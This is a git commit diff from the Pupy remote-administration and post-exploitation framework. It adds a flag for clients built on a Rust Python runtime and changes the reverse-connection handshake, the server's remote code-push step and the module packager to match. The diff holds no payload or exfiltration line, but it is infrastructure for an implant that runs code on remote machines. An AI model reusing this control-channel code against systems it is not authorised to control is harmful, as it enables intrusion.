basic modules working with rustc !

This commit is contained in:
n1nj4sec 2022-11-21 22:10:58 +01:00
parent 9ee2022792
commit 987256edbc
5 changed files with 69 additions and 40 deletions

View File

@ -164,7 +164,7 @@ class ReverseSlaveService(Service):
self._conn._config.update(REVERSE_SLAVE_CONF)
pupyimporter = __import__('pupyimporter')
is_rustc = "rustc" in sys.version
self._conn.root.initialize_v2(
1, (
sys.version_info.major,
@ -186,7 +186,8 @@ class ReverseSlaveService(Service):
function: getattr(pupyimporter, function)
for function in dir(pupyimporter)
if hasattr(getattr(pupyimporter, function), '__call__')
}
},
is_rustc
)
def on_disconnect(self):

View File

@ -84,7 +84,8 @@ class PupyClient(object):
(
self.platform, self.arch
),
debug='debug_logfile' in self.desc
debug='debug_logfile' in self.desc,
rustc=self.conn.remote_is_rustc
)
self.conn.events_receiver = self._event_receiver

View File

@ -654,9 +654,8 @@ class PupyServer(object):
def add_client(self, conn):
client = None
is_rustc = True
if is_rustc:
if conn.remote_is_rustc:
conn.execute(
'exec({})'.format(
reprb(

View File

@ -75,6 +75,7 @@ class PupyService(Service):
self.protocol_version = None
self.remote_version = (2, 7)
self.remote_is_rustc = False
self.events_receiver = None
@ -105,6 +106,7 @@ class PupyService(Service):
self.exposed_stdout = sys.stdout
self.exposed_stderr = sys.stderr
"""
def exposed_initialize_v1(
self,
namespace, modules, builtin,
@ -139,6 +141,7 @@ class PupyService(Service):
self.get_infos = lambda: self.infos
self.pupy_srv.add_client(self)
"""
def exposed_initialize_v2(
self,
@ -147,7 +150,7 @@ class PupyService(Service):
register_cleanup, unregister_cleanup,
remote_exit, remote_eval, remote_execute,
infos, loaded_modules, cached_modules,
pupyimporter, pupyimporter_funcs, *args):
pupyimporter, pupyimporter_funcs, is_rustc, *args):
if __debug__:
logger.debug(
@ -157,6 +160,7 @@ class PupyService(Service):
self.protocol_version = protocol_version
self.remote_version = remote_version
self.remote_is_rustc = is_rustc
if sys.version_info.major == 3 and \
self.remote_version[0] == 2:

View File

@ -53,15 +53,16 @@ class IgnoreFileException(Exception):
class Target(object):
__slots__ = (
'os', 'arch', 'pymaj', 'pymin', 'debug',
'_native', '_so', '_platform'
'_native', '_so', '_platform', '_rustc'
)
def __init__(self, python, platform=None, debug=False):
def __init__(self, python, platform=None, debug=False, rustc=False):
self.pymaj, self.pymin = python[:2]
self.debug = debug
self.pymaj = int(self.pymaj)
self.pymin = int(self.pymin)
self._rustc = rustc
if platform:
self.os, self.arch = platform[:2]
@ -86,6 +87,10 @@ class Target(object):
def native(self):
return self._native
@property
def rustc(self):
return self._rustc
@property
def so(self):
return self._so
@ -507,39 +512,45 @@ def from_path(
base, ext = modpath.rsplit('.', 1)
# Garbage removing
if ext == 'py':
try:
module_code = pupycompile(
module_code, modpath, target=target.pyver
)
modpath = base+'.pyo'
if target.rustc:
if ext == 'py':
modpath = base+'.py'
if module_code is not None:
modules_dic[modpath] = module_code
else:
if ext == 'py':
try:
module_code = pupycompile(
module_code, modpath, target=target.pyver
)
modpath = base+'.pyo'
if base+'.pyc' in modules_dic:
del modules_dic[base+'.pyc']
except Exception as e:
logger.error('Failed to compile %s: %s', modpath, e)
elif ext == 'pyc':
if base+'.pyo' in modules_dic:
continue
elif ext == 'pyo':
if base+'.pyo' in modules_dic:
continue
if base+'.pyc' in modules_dic:
del modules_dic[base+'.pyc']
except Exception as e:
logger.error('Failed to compile %s: %s', modpath, e)
elif ext == 'pyc':
if base+'.pyo' in modules_dic:
continue
elif ext == 'pyo':
if base+'.pyo' in modules_dic:
continue
if base+'.pyc' in modules_dic:
del modules_dic[base+'.pyc']
# Special case with pyd loaders
elif ext == 'pyd':
if base+'.py' in modules_dic:
del modules_dic[base+'.py']
# Special case with pyd loaders
elif ext == 'pyd':
if base+'.py' in modules_dic:
del modules_dic[base+'.py']
if base+'.pyc' in modules_dic:
del modules_dic[base+'.pyc']
if base+'.pyc' in modules_dic:
del modules_dic[base+'.pyc']
if base+'.pyo' in modules_dic:
del modules_dic[base+'.pyo']
if base+'.pyo' in modules_dic:
del modules_dic[base+'.pyo']
if module_code is not None:
modules_dic[modpath] = module_code
if module_code is not None:
modules_dic[modpath] = module_code
else:
extlist = ['.py', '.pyo', '.pyc']
@ -569,10 +580,13 @@ def from_path(
cur += rep + '/'
if ext == '.py':
module_code = pupycompile(
module_code, start_path+ext, target=target.pyver
)
ext = '.pyo'
if target.rustc:
ext = '.py'
else:
module_code = pupycompile(
module_code, start_path+ext, target=target.pyver
)
ext = '.pyo'
modules_dic[start_path+ext] = module_code
@ -707,7 +721,17 @@ def _package(
continue
# Garbage removing
if ext == 'py':
if target.rustc:
if ext == "py":
try:
content = get_content(
target, prefix,
info.filename, archive,
honor_ignore=honor_ignore
)
except IgnoreFileException:
continue
elif ext == 'py':
try:
content = pupycompile(
get_content(